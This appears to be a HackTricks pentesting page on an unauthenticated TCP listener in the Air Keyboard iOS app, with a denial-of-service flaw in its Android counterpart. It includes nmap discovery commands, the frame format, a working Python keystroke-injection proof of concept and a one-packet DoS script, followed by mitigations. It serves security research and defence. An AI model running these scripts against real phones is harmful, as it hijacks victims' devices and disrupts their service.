4.1 KiB
Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
{{#include ../../banners/hacktricks-training.md}}
TL;DR
The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a clear-text TCP service on port 8888 that accepts keystroke frames without any authentication.
Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victim’s phone, achieving full remote interaction hijacking.
A companion Android build listens on port 55535. It performs a weak AES-ECB handshake, but crafted garbage causes an unhandled exception in the OpenSSL decryption routine, crashing the background service (DoS).
1. Service Discovery
Scan the local network and look for the two fixed ports used by the apps:
# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
On Android handsets you can identify the responsible package locally:
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
2. Frame Format (iOS)
The binary reveals the following parsing logic inside the handleInputFrame()
routine:
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
The declared length includes the device_id
byte but not the two-byte header itself.
3. Exploitation PoC
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
Any printable ASCII (including \n
, \r
, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc.
4. Android Companion – Denial-of-Service
The Android port (55535) expects a 4-character password encrypted with a hard-coded AES-128-ECB key followed by a random nonce. Parsing errors bubble up to AES_decrypt()
and are not caught, terminating the listener thread. A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched.
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. Root Cause
- No origin / integrity checks on incoming frames (iOS).
- Cryptographic misuse (static key, ECB, missing length validation) and lack of exception handling (Android).
6. Mitigations & Hardening Ideas
- Never expose unauthenticated services on a mobile handset.
- Derive per-device secrets during onboarding and verify them before processing input.
- Bind the listener to
127.0.0.1
and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control. - Detect unexpected open ports during mobile security reviews (
netstat
,lsof
,frida-trace
onsocket()
etc.). - As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks.
Detection Cheat-Sheet (Pentesters)
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
References
- Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched
- CXSecurity advisory WLB-2025060015
{{#include ../../banners/hacktricks-training.md}}